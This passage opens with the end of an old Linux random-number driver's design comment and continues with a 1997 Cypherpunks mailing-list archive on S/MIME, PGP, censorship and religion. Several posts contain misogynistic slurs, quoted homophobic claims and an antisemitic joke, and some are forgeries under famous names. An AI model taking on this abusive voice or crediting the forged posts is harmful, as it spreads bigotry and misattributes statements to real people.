 * reason, the routine decreases its internal estimate of how many
 * bits of "true randomness" are contained in the entropy pool as it
 * outputs random numbers.
 * 
 * If this estimate goes to zero, the routine can still generate
 * random numbers; however, an attacker may (at least in theory) be
 * able to infer the future output of the generator from prior
 * outputs.  This requires successful cryptanalysis of MD5, which is
 * not believed to be feasible, but there is a remote possibility.
 * Nonetheless, these numbers should be useful for the vast majority
 * of purposes.
 * 
 * Exported interfaces ---- output
 * ===============================
 * 
 * There are three exported interfaces; the first is one designed to
 * be used from within the kernel:
 *
 * 	void get_random_bytes(void *buf, int nbytes);
 *
 * This interface will return the requested number of random bytes,
 * and place it in the requested buffer.
 * 
 * The two other interfaces are two character devices /dev/random and
 * /dev/urandom.  /dev/random is suitable for use when very high
 * quality randomness is desired (for example, for key generation or
 * one-time pads), as it will only return a maximum of the number of
 * bits of randomness (as estimated by the random number generator)
 * contained in the entropy pool.
 * 
 * The /dev/urandom device does not have this limit, and will return
 * as many bytes as are requested.  As more and more random bytes are
 * requested without giving time for the entropy pool to recharge,
 * this will result in random numbers that are merely cryptographically
 * strong.  For many applications, however, this is acceptable.
 *
 * Exported interfaces ---- input
 * ==============================
 * 
 * The current exported interfaces for gathering environmental noise
 * from the devices are:
 * 
 * 	void add_keyboard_randomness(unsigned char scancode);
 * 	void add_mouse_randomness(__u32 mouse_data);
 * 	void add_interrupt_randomness(int irq);
 * 	void add_blkdev_randomness(int irq);
 * 
 * add_keyboard_randomness() uses the inter-keypress timing, as well as the
 * scancode as random inputs into the "entropy pool".
 * 
 * add_mouse_randomness() uses the mouse interrupt timing, as well as
 * the reported position of the mouse from the hardware.
 *
 * add_interrupt_randomness() uses the inter-interrupt timing as random
 * inputs to the entropy pool.  Note that not all interrupts are good
 * sources of randomness!  For example, the timer interrupts is not a
 * good choice, because the periodicity of the interrupts is to
 * regular, and hence predictable to an attacker.  Disk interrupts are
 * a better measure, since the timing of the disk interrupts are more
 * unpredictable.
 * 
 * add_blkdev_randomness() times the finishing time of block requests.
 * 
 * All of these routines try to estimate how many bits of randomness a
 * particular randomness source.  They do this by keeping track of the
 * first and second order deltas of the event timings.
 *
 * Ensuring unpredictability at system startup
 * ============================================
 * 
 * When any operating system starts up, it will go through a sequence
 * of actions that are fairly predictable by an adversary, especially
 * if the start-up does not involve interaction with a human operator.
 * This reduces the actual number of bits of unpredictability in the
 * entropy pool below the value in entropy_count.  In order to
 * counteract this effect, it helps to carry information in the
 * entropy pool across shut-downs and start-ups.  To do this, put the
 * following lines an appropriate script which is run during the boot
 * sequence: 
 *
 *	echo "Initializing random number generator..."
 *	# Carry a random seed from start-up to start-up
 *	# Load and then save 512 bytes, which is the size of the entropy pool
 * 	if [ -f /etc/random-seed ]; then
 *		cat /etc/random-seed >/dev/urandom
 * 	fi
 *	dd if=/dev/urandom of=/etc/random-seed count=1
 *
 * and the following lines in an appropriate script which is run as
 * the system is shutdown:
 * 
 *	# Carry a random seed from shut-down to start-up
 *	# Save 512 bytes, which is the size of the entropy pool
 *	echo "Saving random seed..."
 *	dd if=/dev/urandom of=/etc/random-seed count=1
 * 
 * For example, on many Linux systems, the appropriate scripts are
 * usually /etc/rc.d/rc.local and /etc/rc.d/rc.0, respectively.
 * 
 * Effectively, these commands cause the contents of the entropy pool
 * to be saved at shut-down time and reloaded into the entropy pool at
 * start-up.  (The 'dd' in the addition to the bootup script is to
 * make sure that /etc/random-seed is different for every start-up,
 * even if the system crashes without executing rc.0.)  Even with
 * complete knowledge of the start-up activities, predicting the state
 * of the entropy pool requires knowledge of the previous history of
 * the system.
 *
 * Configuring the /dev/random driver under Linux
 * ==============================================
 *
 * The /dev/random driver under Linux uses minor numbers 8 and 9 of
 * the /dev/mem major number (#1).  So if your system does not have
 * /dev/random and /dev/urandom created already, they can be created
 * by using the commands:
 *
 * 	mknod /dev/random c 1 8
 * 	mknod /dev/urandom c 1 9
 * 
 * Acknowledgements:
 * =================
 *
 * Ideas for constructing this random number generator were derived
 * from the Pretty Good Privacy's random number generator, and from
 * private discussions with Phil Karn.  Colin Plumb provided a faster
 * random number generator, which speed up the mixing function of the
 * entropy pool, taken from PGP 3.0 (under development).  It has since
 * been modified by myself to provide better mixing in the case where
 * the input values to add_entropy_word() are mostly small numbers.
 * Dale Worley has also contributed many useful ideas and suggestions
 * to improve this driver.
 * 
 * Any flaws in the design are solely my responsibility, and should
 * not be attributed to the Phil, Colin, or any of authors of PGP.
 * 
 * The code for MD5 transform was taken from Colin Plumb's
 * implementation, which has been placed in the public domain.  The
 * MD5 cryptographic checksum was devised by Ronald Rivest, and is
 * documented in RFC 1321, "The MD5 Message Digest Algorithm".
 * 
 * Further background information on this topic may be obtained from
 * RFC 1750, "Randomness Recommendations for Security", by Donald
 * Eastlake, Steve Crocker, and Jeff Schiller.
 */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ron Craswell" <ronc@deming.com>
Date: Wed, 5 Nov 1997 09:19:40 +0800
To: "'William H. Geiger III'" <iancly@entrust.com>
Subject: RE: S/MIME
Message-ID: <c=US%a=_%p=Deming_Software.%l=CANE-971105003101Z-2767@cane.deming.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tuesday, November 04, 1997 7:23 AM, 
William H. Geiger III [SMTP:whgiii@invweb.net] wrote:
> 
> To create an S/MIME compliant application one MUST implement RC2/40 and
> one MUST pay RSA to do so!!

Just to set things a little straight, RSA posted an internet draft
describing the RC2 algorithm (draft-rivest-rc2desc) on June 23 of this
year.  RSA has maintained trademark rights to the _name_ "RC2" but
you're free to implement the algorithm and call it "RC2 compatible" and
pay RSA nothing.

> This is the BIG difference between S/MIME and Open-PGP. In Open-PGP there
> is no MUST to implemnet weak crypto. In Open-PGP there is no MUST to
> implement propritary algoritms.

The other big difference is that you are comparing something that exists
with something that doesn't.  In order to level the playing field, let's
compare two things that don't exist -- OpenPGP and S/MIME v3.

The current intent for S/MIME v3 is that the only MUST algorithm set is
DH / El Gamal / 3DES for encryption and DH / DSS for signatures. All
free, all strong (in theory <g>).

> I think that this should be simple enough for anyone here to understand.

I think that this should be simple enough for anyone here to understand.

--
Ron Craswell
Worldtalk Corp.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Wed, 5 Nov 1997 06:10:58 +0800
To: wendigo@ne-wendigo.jabberwock.org
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <199711040540.AAA03771@deathstar.jabberwock.org>
Message-ID: <199711042146.QAA02613@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Rogaski enscribed thusly:
> An entity claiming to be Anonymous wrote:
	:
	: - Some of message deleted
	:
> : > No source no security.
> : 
> : You don't trust Schneier?  You've seen the limitations of source code
> : release.  Experts like Schneier and his team designing the crypto is
> : worth more than a bunch of know nothings scratching their heads and
> : wondering where to begin with 1000+ pages of source code.

> If the source were available, there would be no need to trust Schneier.
> I trust his expertise, but have no basis (or inclination) to make guesses
> about his character.  No matter how many people refer to Applied Crypto as
> "a Bible", it's not the kind of book that encourages blind faith.

	Nooo...  Actually, at the moment, we are just trusting their word.
So far, we haven't heard a peep from Bruce.  Maybe Bruce is working with
them, and that's all well and good, but until such time that we hear so
from Bruce in a way that we can authenticate, we are not even up to the
point of trusting him as yet.  We are still at the point of trusting
whatever they are telling us.  And I agree...  No source, no security.
Windows only...  No way...

	Bruce?

> Doc
> 
> -- 
> [] Mark Rogaski                   "That which does not kill me
> [] wendigo@pobox.com                 only makes me stranger."

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: berezina@qed.net (Paul Spirito)
Date: Wed, 5 Nov 1997 01:21:55 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <199711040256.SAA25016@adnetsol.adnetsol.com>
Message-ID: <3464504f.9626871@mail.qed.net>
MIME-Version: 1.0
Content-Type: text/plain



Jodi Hoffman wrote:

>Ross Wright wrote:
>> 
>> From:
>> 
>> http://199.227.69.135/ramp/aletter.html
>> 
>> You might wish to add that most "homosexual" suicides are probably
>> normal kids who have been seduced into an abnormal lifestyle
>> encouraged by our schools and culture; or at the very least, they
>> were probably suffering under the weight of excessive sexual
>> harassment, in the form of our current crop of pathological
>> sex-education programs.
>> Hmmm...didn't I already have that written there?  If not, it's probably in our book.

He was *quoting* you -- the apparent homophobia needed no comment. God, you
really are a

[rest of drafted reply snipped in deference to Declan]

Paul

http://www.nihidyll.com/attributions.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Wed, 5 Nov 1997 09:27:42 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <3.0.1.32.19971104170109.00c98970@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:39 PM 11/4/97 -0500, Jodi Hoffman wrote:
>You're a bright one, aren't you?  
>Not that I feel I owe anyone an explanation, but since you took the time 
>and trouble to write so damn much.....
>CIN donated the webspace.  Another Christian organization arranged for 
>someone to build the website and, well, here I am.  
>Aside from the fact that I didn't want to have to pay for _anything_, I 
>think that was very generous of them, don't you?

So, allying yourself with people who would gladly force *your* childen to
pray to *their* God doesn't bother you in the least. Fascinating.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Beasley <askcarl@adelphia.net>
Date: Wed, 5 Nov 1997 06:37:43 +0800
To: cypherpunks@toad.com
Subject: maillist
Message-ID: <345F9F6A.5C77371C@adelphia.net>
MIME-Version: 1.0
Content-Type: text/plain



please include me on the mail list.

thank you

carl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Wed, 5 Nov 1997 07:10:40 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Smartcards - Drivers Licenses in New Jersey
In-Reply-To: <3.0.3.32.19971103001906.0356e594@rboc.net>
Message-ID: <199711042303.SAA28199@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert, 

Um.... I think you are over stating things "just a little"...

The URL you referenced says:

	
	"State policy makers and officials are CONSIDERING [emphasis
	added] innovative plans to develop a smart driver's
	license. IF IMPLEMENTED,[emphasis added] New Jersey would be
	the first state in the nation to require drivers to carry the
	new "smart card," which will look more like a credit card... "
			:
			:
	<other stuff about contents of the smartcard not included>



There are plenty of things in the world of information privacy to get
hysterical about; but please lets not proclaim them realities before
they actually are...

Having said that... if you live in the Garden State, get on the phone
to your state legislators and express your concerns on this troubling
idea and how it may be used before is DOES become something to scream
about....


David


-- 
-------------------------------------------------------------------------------
David HM Spector                                         spector@zeitgeist.com
Network Design & Infrastructure Security                 voice: +1 212.579.8573
Amateur Radio: W2DHM (ex-N2BCA) (ARRL life member)       GridSquare: FN30AS
-.-. --- -. -. . -.-. -  .-- .. - ....  .- -- .- - . ..- .-.  .-. .- -.. .. ---
"New and stirring things are belittled because if they are not belittled, 
the humiliating question arises, 'Why then are you not taking part in them?'"
                                                        --H. G. Wells





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 4 Nov 1997 16:18:06 +0800
To: cypherpunks@toad.com
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
In-Reply-To: <199711032057.MAA08856@k2.brigadoon.com>
Message-ID: <Pine.OSF.3.96.971104190029.29172H-100000@oberon>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 3 Nov 1997 semprini@theschool.com wrote:

> > Studies have shown that
> > an event which lasts even so much as three-tenths of a second, within
> > five to ten minutes has produced a structural change in the brain.
> > Exposure to porn causes actual brain damage, especially in a child.
> 
> Wrong. Exposure to pornography does not cause "brain damage" or 
> "structural changes in the brain."

Well part of it true,  exsposure to porn will cause structural changers in
the brain,  so will exsposure to high art,  these are called memroise and
are necery for the propper functions of the brain.  Thay do not cause
brain dammige.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep. 
Save the ABC Is $0.08 per day too much to pay?   ex-net.scum and proud
I'm sorry but I just don't consider 'because its yucky' a convincing argument





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 5 Nov 1997 12:10:18 +0800
To: Lizard <jlhoffm@ibm.net>
Subject: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <345FC025.852@ibm.net>
Message-ID: <v03102801b085831fd8a7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:01 PM -0700 11/4/97, Lizard wrote:
>At 07:39 PM 11/4/97 -0500, Jodi Hoffman wrote:
>>You're a bright one, aren't you?
>>Not that I feel I owe anyone an explanation, but since you took the time
>>and trouble to write so damn much.....
>>CIN donated the webspace.  Another Christian organization arranged for
>>someone to build the website and, well, here I am.
>>Aside from the fact that I didn't want to have to pay for _anything_, I
>>think that was very generous of them, don't you?
>
>So, allying yourself with people who would gladly force *your* childen to
>pray to *their* God doesn't bother you in the least. Fascinating.

There is no way any proposed laws will force Jewish kids to pray in certain
forms.

(I say this not as a defender of the Christian Right, but in the interests
of truth.)

Due to my advanced age, compared to most of you, I was attending elementary
school in the State of Virginia before the Supreme Court struck down school
prayer (circa 1962). I vaguely recall a kind of prayer at times, which
anyone was free to ignore. Obviously a child will feel social pressures to
conform...but such is life in many ways.

The Jew in our class was specifically exempted from school prayers. Seth
Schrager--I remember his name somehow--was excused from Christian
activities, like building manger scenes and reenacting Christian parables
in school plays. Actually, we didn't _want_ any Christkillers in our school
plays.

Personally, I'd rather see school vouchers, or, even better, a complete
withdrawal of public funding for schools. Let the Zoroastrians send their
kids to whatever school they like...and let them pay the freight.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 5 Nov 1997 10:00:59 +0800
To: ichudov@Algebra.COM
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <199711041609.QAA03086@manifold.algebra.com>
Message-ID: <Pine.BSF.3.91.971104185935.27758B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 4 Nov 1997 ichudov@algebra.com wrote:

> This Jodi Hoffman is most likely laughing at you all
> after baiting you so successfully.
> 
> I refuse to believe that she could have been so dumb to write
> what she wrote, seriously.
> 
> 

I don't care, as long as she keeps writing. I love it when she talks 
dirty. There aren't many web sites dedicated to abnormal marsupial 
lifestyles, so I have to get my fun where I can.  Since my parents 
have installed NetNanny on my TRS80, thre's not much left for me.

OTOH, it might just be Toto sending another forge, trying to convince Tim 
May that Toto is actually Anita Bryant.

r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 5 Nov 1997 12:10:51 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Taxing Churches for their views? Bad idea.
In-Reply-To: <199711050210.DAA18934@basement.replay.com>
Message-ID: <v03102802b085858a6a1a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:10 PM -0700 11/4/97, Anonymous wrote:

>More telling, she doesn't seem to have a problem using a religious (and
>therefore tax-exempt) organization to push a political agenda. Apparently
>that whole 'separation of church and state' thing only applies when it's
>convenient.
>
>If religions want to play politics, the least we can do is get them to pay
>for the privilege. I'd feel a certain guilty pleasure seeing some of those
>bottom-feeders taxed into penury.

Nonsense. And a dangerous course.

One can decide to "tax churches" or to "not tax churches." I have no
particularly strong opinion on either option.

But one must definitely _not_ base the decision to tax or not to tax on the
opinions expressed by a church!

One cannot decide to tax the Catholic Church "into penury" because its
anti-abortion views have become politically incorrect in the last 30 years.
Nor can one decide to tax the tempes and synagogues of Judaism "into
penury" because they are centers of support for the Zionist Entity.

Think about it.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 5 Nov 1997 04:19:04 +0800
To: ichudov@Algebra.COM
Subject: No Subject
Message-ID: <B6syLEj6903LAOBqpdIohA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Igor Chudov @ home spoke:
>
> This Jodi Hoffman is most likely laughing at you all
> after baiting you so successfully.
>
> I refuse to believe that she could have been so dumb to write
> what she wrote, seriously.

Believe it, Igor. There's a large number of people in the country
who believe as she does, though perhaps not too many of them have
the chutzpah to post such opinions to the fight-censorship list
(where it could certainly be interpreted as a troll).

Let's face it, there're a lot of people in the US who'd be happier
if they were governed like China or Singapore; they want a stern
authoritarian voice keeping society 'decent' and the homosexuals
and other 'perverts' under control and out of sight, regulating
what you can read and watch on TV, and what gets taught in schools,
regulating what you can smoke and drink and sniff, and
indoctrinating children into and enforcing the rules of the
locally preferred religion.

While they may pay lip service to it, they care little for the first
amendment (except as it assures //them// the right to express
//their// views or practice //their// religion). Sure, they'll wave
the flag and mouth the words 'Constitution' and 'Bill of Rights', but
their solution to every disagreement is 'put them in jail' or 'pass
another law'.


Frondeur

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iQA/AwUBNF9fllqnO6WRZ1UEEQKiSgCfQpuXZmx3Ry+GHKE83zzR3do11sUAoKzT
ldtqH9pCnLO9QRrAoGaEfPGj
=LOUx
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v64l2UxSDvLRRZDDZY3B2LhJTw==
=/z57
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 5 Nov 1997 03:54:21 +0800
To: cypherpunks@Algebra.COM
Subject: Monty Cantsin README
Message-ID: <+Ov6tov0v6CRImkYC6mE2g==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Please post your public key somewhere. There's a variety of keyservers, or
even to this list would be adequate.

KeyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jodi Hoffman <jlhoffm@ibm.net>
Date: Wed, 5 Nov 1997 09:19:53 +0800
To: jc@dev.null
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345FC025.852@ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



Jesus Christ wrote:
> 
> Jodi "I'm not *really* a Jew, but I play one on the InterNet" Hoffman
> wrote:
> > TruthMonger wrote:
> > <snipped, because Jodi CAN'T HANDLE the TruthMonger>
> 
> > Monger:
> > Feel better?  I certainly hope so.
> > By the way...for whatever it's worth:
> > #1...I'm Jewish, not a Nazi-loving Christian bitch.
> >
> > Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp
> 
> Jodi,
>   As you already know, I have been on extended leave from the world
> for some time, having gone to visit my Father, to prepare for taking
> over the family business.
>   I've been catching up on my reading, in preparation for my return
> in the near future, and I came across a book, "The Jesus Principle,"
> which claimed that the Christian Coalition and the self-proclaimed
> Moral Majority were making plans to launch a secret assault on the
> electorate, pushing their hidden agendas while covering up the true
> source of their Christian propaganda.
>   Naturally, I laughed this off as ridiculous, but I seem to be
> encountering more and more evidence of this indeed being the case.
> 
>   I am particularly perturbed by those who are doing a very, very
> bad job of disguising their true intentions, goals, their hidden
> connections and secret agendas.
>   In an increasingly InterNet savy world, no one who is paying
> attention is going to miss the fact that your webspace is on
> The Christian Interactive Network, which goes to great lengths
> to make certain that those who visit their web site are made
> aware that the CIN "is a 501 C (3) Nonprofit Ministry", and that
> "All donations are tax exempt," so that contribitors can shift
> the tax burden to non-Christians while using their own tax-exempt
> money to support Christian political agendas under the guise of
> religion.
> 
>   If you will check the Biblical Archives, I think you will find
> that Peter never really fooled anyone, either.
>   {Speaking of which, do you also plan to censor the parts of the
>    Bible which quote my use of the word, "cock?"}
> 
> Love,
>  ~JC~
> "Yes I _do_ *'love'* the little children." <nod-nod, wink-wink>==============
You're a bright one, aren't you?  
Not that I feel I owe anyone an explanation, but since you took the time 
and trouble to write so damn much.....
CIN donated the webspace.  Another Christian organization arranged for 
someone to build the website and, well, here I am.  
Aside from the fact that I didn't want to have to pay for _anything_, I 
think that was very generous of them, don't you?

Bracing For Your Next Flame...
Jodi
-- 
Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
Victimization of Children/Research & Education Council of America
1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
Phone: (954) 349-0366   Fax: (954) 349-0361





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Jefferson <tj@dev.null>
Date: Wed, 5 Nov 1997 11:26:23 +0800
To: cypherpunks@toad.com
Subject: FUD
Message-ID: <345FD249.8D0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



"Fear can only prevail when victims are ignorant of the facts." 
- Thomas Jefferson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Pervert <tp@dev.null>
Date: Wed, 5 Nov 1997 11:34:39 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Sen. Judd Gregg speaks on cyberporn
In-Reply-To: <v03007804b0853170bbd3@[204.254.22.175]>
Message-ID: <345FD3A3.2677@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:

> "In a recent study, the Carnegie Mellon Institute found 917,410 sexually
> explicit pictures, short stories, and film clips online within an 18-month
> period."

Gee, I wonder who put the 'other' 410 on the InterNet.

The Pervert
"I thought I was the *only* one doing that shit."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <bs@dev.null>
Date: Wed, 5 Nov 1997 11:14:05 +0800
To: "Michael H. Warfield" <mhw@wittsend.com>
Subject: Re: SynCrypt: the new PGP?
In-Reply-To: <199711042146.QAA02613@alcove.wittsend.com>
Message-ID: <345FD534.3258@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Michael H. Warfield wrote:
>         Nooo...  Actually, at the moment, we are just trusting their word.
> So far, we haven't heard a peep from Bruce.  Maybe Bruce is working with
> them, and that's all well and good, but until such time that we hear so
> from Bruce in a way that we can authenticate, we are not even up to the
> point of trusting him as yet.  We are still at the point of trusting
> whatever they are telling us. 

Help!!!
They are holding me hostage at syncrypt.com and using my name
to promote their product.

Please! Believe me! This is not just another unclever trick by
that forging rat bastard from sk.sympatico.ca.

Bruce






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lars.hornell@ornskoldsvik.mail.telia.com
Date: Wed, 5 Nov 1997 03:53:13 +0800
To: cypherpunks@toad.com
Subject: mixmaster...
Message-ID: <345F760C.2E90@ornskoldsvik.mail.telia.com>
MIME-Version: 1.0
Content-Type: text/plain



Is mixmaster not avalible to download or what???
If it IS avalible to download. Where can I download it then???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 5 Nov 1997 11:25:33 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: [SURVEY try again] pgp5.x / pgp2.x users
In-Reply-To: <199711042348.XAA04981@server.test.net>
Message-ID: <345FDE65.62BE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



> ======================================================================
> 1. Are you using pgp5.x?

  Yeah...you got a problem with that?

> If answer to 1 is NO skip to question 4

  And if I _don't_?
 
>   2. have you placed your pgp5.x key on the public keyservers?

  Yeah. They sent it back and told me to fuck off.

>   3. Were you using an earlier version of pgp before getting pgp5.x

  6.0. I'm from the future.

>   If answer to 3 is NO skip to 6

  Hey, pal. Quit ordering me around!
 
> 4. Is your pgp2.x (or 4.x) key on a public key server

  Yes,  but it's under _your_ name.

> 5. What software did you use to put your pgp2.x (or 4.x) key on the
>    keyserver?  Was it pgp5.x, or was it some other software (eg web
>    browser, emailed key submission etc)?

  I put it on using their root account. They need better security

> 6. How many people do you communicate with using PGP?

  None, really. I usually just babble incoherently.

> 7. Of those how many are using pgp2.x (or pgp4.x)

  None. Do you think that is maybe why no one ever replies?

> 8. and how many are using pgp5.x

  How the fuck would I know if they never write (Adam) back?

> 9. how many of the pgp5.x users had never used PGP before pgp5.x
>    became available

  Like, I'm _sleeping_ with everyone I write to? How long till I
get to the 'smart' questions?

> 10. How many of the people who use pgp2.x (answer to 7) are
>     cypherpunks?

  Only the guy in the next cell.

> 11. How many of the people who use pgp5.x (answer to 8) are
>     cypherpunks?

  Only the ones promoting it in anonymous posts to the list.

> ======================================================================
 
> Thanks for your time. 

  That's more apprecitation than the Warden ever expressed.

CellMateMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 5 Nov 1997 11:21:30 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.BSF.3.91.971104185935.27758B-100000@mcfeely.bsfs.org>
Message-ID: <345FDF5E.658A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> On Tue, 4 Nov 1997 ichudov@algebra.com wrote:
> > This Jodi Hoffman is most likely laughing at you all
> > after baiting you so successfully.
> >
> > I refuse to believe that she could have been so dumb to write
> > what she wrote, seriously.

> I don't care, as long as she keeps writing. I love it when she talks
> dirty. There aren't many web sites dedicated to abnormal marsupial
> lifestyles, so I have to get my fun where I can.  Since my parents
> have installed NetNanny on my TRS80, thre's not much left for me.
> 
> OTOH, it might just be Toto sending another forge, trying to convince Tim
> May that Toto is actually Anita Bryant.

I am *really* Rabid Wombat...spam me unmercifully!

TruthBat





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 5 Nov 1997 11:14:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: INFO-RUSS: POLITICAL PRISONERS DAY (fwd)
Message-ID: <199711050255.UAA17111@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From INFO-RUSS-request@smarty.ece.jhu.edu Tue Nov  4 20:48:11 1997
Message-Id: <9711042026.AA14816@smarty.ece.jhu.edu>
Errors-To: INFO-RUSS-request@smarty.ece.jhu.edu
Sender: INFO-RUSS-request@smarty.ece.jhu.edu
Precedence: bulk
From: info-russ <info-russ@smarty.ece.jhu.edu>
To: info-russ@smarty.ece.jhu.edu
Date: Tus, 4 Nov 1997 14:05:10 +0100
Subject: INFO-RUSS: POLITICAL PRISONERS DAY

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Reprinted from RIA-Novosti
which adopted it from
Rossiiskiye Vesti, October 30

OCTOBER 30: POLITICAL PRISONERS DAY

        On October 30 Russia marks the Day of Memory of the
     Victims of Political Persecution Campaigns. We must
     admit that we lost the fervour with which we denounced
     the political butchers in the early 1990s, and the
     sympathy we felt for the victims of the Bolshevik
     regime. We tend to repeat the phrase which was popular
     in Brezhnev's time: "Persecution campaigns were evil,
     but not everything was plain black or white then." Why
     do we do this? Who is responsible for this drawback of
     public conscience? Our analyst, Anatoly GUBANOV,
     discusses this problem with famous scientist and
     politician Alexander YAKOVLEV, Chairman of the
     Presidential Commission on the Rehabilitation of
     the Victims of Political Persecution Campaigns.

  Question: The attitude to persecution campaigns has
changed in society and in some other terms. For example, on
October 30 the staff of the State Duma decided to hold
celebrations, with a concert and expensive gifts, to be given
above all to those who were responsible for the storming of the
city hall and the Ostankino TV centre. What kind of day of the
victims of the Bolshevik regime is that?
  Answer: There is nothing new in this. I remember that in
Soviet times, when the rehabilitation of the victims of
political persecution campaigns was barely launched, acts of
crawling sabotage were staged in the Politburo.
  Question: We are approaching the 80th celebration of the
October revolution. What will happen on that day?
  Answer: Instead of commemorating victims and repenting
sins, many people will "celebrate the red-letter day." Why?
Because nobody has provided a clear-cut and unambiguous
assessment of the past yet. I have spoken about this problem
before. I understand that this is difficult to accept, but
there was no revolution, not to mention a great socialist one.
What happened then?
  The power was lying on the autumn sidewalk. Nobody
governed the country. The army was ruined. The shop shelves
were empty and the people held demonstrations and plundered
bread and wine shops. A group of Bolsheviks entered the Smolny
Palace. Antonov-Ovseyenko arrested the ministers of the
Provisional Government.
